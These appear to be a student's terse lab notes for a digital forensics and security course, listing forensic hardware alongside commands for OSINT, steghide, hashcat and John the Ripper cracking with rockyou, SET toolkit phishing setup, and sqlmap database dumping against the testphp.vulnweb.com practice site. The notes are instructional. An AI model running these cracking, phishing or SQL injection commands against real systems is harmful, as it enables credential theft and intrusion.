EXP 1
Search yourself-site:instagram.com intitle:name
Osint frame work
I have been pawned
Site: intitle:
Sherlock (kali)
download image
exiftool image ch naav

EXP 2

Write Blockers

Purpose: Prevent modification of evidence during analysis or imaging.
Types:

- **Hardware Write Blockers:** Physical devices that sit between the analyst's system and the storage device (e.g., **Tableau T35u**, **WiebeTech USB WriteBlocker**).
- **Software Write Blockers:** Applications or OS configurations that disable write permissions (e.g., **FTK Imager's write-blocking mode**, **Linux `mount` with `ro` flag**).

Why Important: Preserves the integrity of data and ensures admissibility in court by preventing tampering.

🧯 2. Forensic Duplicators

Purpose: Create exact, bit-by-bit images of storage devices quickly and efficiently.
Features:

- Multiple device support (SATA, IDE, NVMe, USB)
- Built-in hashing (MD5, SHA-1, SHA-256)
- Write blocking built-in
- Verification of copies

Examples:

- **Logicube Falcon®-NEO**

- **Tableau TD3 Forensic Imager**

💽 3. Imaging Drives & Storage Media

Purpose: Store large forensic images and acquired data securely.
Specs to look for:

- **High capacity** (1TB–10TB or more)
- **Fast I/O** (USB 3.0/3.1, Thunderbolt, or NVMe for speed)
- **Rugged/external SSDs** for portability

Tips: Use drives pre-formatted in **exFAT or NTFS** and labeled with write-protected evidence tags.

🔌 4. Adapters & Cables

Purpose: Allow connection to a wide variety of device interfaces.
Common Types:

- SATA/IDE to USB 3.0 adapter
- M.2 NVMe/PCIe SSD readers
- Multi-format card readers (SD, MicroSD, CompactFlash)
- Docking stations with cloning functionality
- USB-C to USB-A converters

Why Important: Investigators may encounter a wide variety of hardware standards and need to be prepared to interface with them all.

💻 5. Laptop or Forensic Workstation

Purpose: Perform on-site or lab-based digital investigations.

Specs:

- **CPU:** Intel i7/i9 or AMD Ryzen 7/9
- **RAM:** 32 GB or more
- **Storage:** 1–2TB SSD + additional HDDs
- **Ports:** Multiple USB (3.0+), Ethernet, HDMI
- **OS:** Windows + Linux (dual boot or virtualized), often includes tools like Kali, SIFT, or CAINE

Optional: Rugged laptops (e.g., Panasonic Toughbook) for fieldwork.

🛡️ 6. Faraday Bags

Purpose: Block all wireless communications (Wi-Fi, Bluetooth, cellular, NFC, GPS) to and from a device.

Usage:

- Place mobile phones, tablets, or laptops inside immediately to prevent remote wiping or communication.

Examples:

- **Mission Darkness** Faraday Bags
- **DFIRLab** Shield Pouches

📷 7. Digital Camera

Purpose: Document the scene, device setup, serial numbers, and cable configurations.

Must-Haves:

- High-resolution sensor (DSLR or mirrorless preferred)
- Flash and macro capabilities
- Time and date stamps

Use Case: Photograph screen contents or configurations before shutting down or imaging.

🧰 8. Toolkits

Purpose: Disassemble hardware for evidence access without damaging it.

Common Tools:

- Screwdrivers (Torx, Phillips, flathead sets)
- Anti-static wristbands
- Spudgers and pry tools
- Tweezers
- Flashlight or headlamp
- Small containers for screws/parts

Brands: iFixit Pro Tech Toolkit is widely used in forensics and IT repair.

EXP 3

Exploit database , CVSS , NVD

EXP 4

Exp 5 - sha256sum
create 2 file
Sam - text
Hash - hash code
Hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt

EXP 7: STeghide

- Steghide embed -cf images.jpeg -ef secret.txt
- Steghide extract -sf images.jpeg
- Cat secret.txt

EXP 8 SET TOOLKIT
1
2
3
1
IP ADDRESS COPY
2
OPEN HTTP://IP

EXP 9 DOWNLOAD A FILE - TEST MALWARE FILES PALO ALTO WEBSITE SE DOWNLOAD ANY FILE AND PERFORM BELOW COMMANDS

strings

- file
- exiftool
- hexdump
- binwalk
- Ghidra (for disassembly)
- VirusTotal (online scanner)

EXP 10
OPEN VULWEB TAKE OPEN FIRST LINK GO ON BROWSE ARTISTS
COPY THE LINK
THEN GO ON ROOT TERMINAL
SQLMAP -U “COPY KI HUI LINK “ –CRAWL 2 –BATCH
SQLMAP -U “COPY KI HUI LINK “ -DBS
SQLMAP -U “COPY KI HUI LINK “ -D acuart –tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump

EXP 12
Terminal - mcrypt
Directory should be where text file is
Mcrypt filename
Passphrase
Re enter
Ls
Rm filename
Ls
Cat filename.nc
Mcrypt -d filename.nc
Passphrase
Ls
Cat filename

Exp 12

sudo apt update && sudo apt install hashcat

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

cd Desktop

nano hashes.txt

15e2b0d3c33891ebb0f1ef609ec419420c20e320ce94c65fbc8c3312448eb225

hashcat -m 1400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

hashcat -m 1400 -a 3 hashes.txt ?d?d?d?d -o cracked.txt

hashcat -m 1400 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt ?d?d?d -o cracked.txt

cat cracked.txt

hashcat -m 1400 hashes.txt --show

—----------

sudo apt update && sudo apt install john

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

cd Desktop/

nano hashes.txt

15e2b0d3c33891ebb0f1ef609ec419420c20e320ce94c65fbc8c3312448eb225

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

john --format=raw-sha256 --incremental=digits hashes.txt

john --format=raw-sha256 --show hashes.txt

https://passwordsgenerator.net/sha256-hash-generator/

nano mywordlist.txt

john --format=raw-sha256 --wordlist=mywordlist.txt hashes.txt

john --format=raw-sha256 --show hashes.txt

less /usr/share/wordlists/rockyou.txt (to check a loaded text in that)grep "Prasiddhi" /usr/share/wordlists/rockyou.txt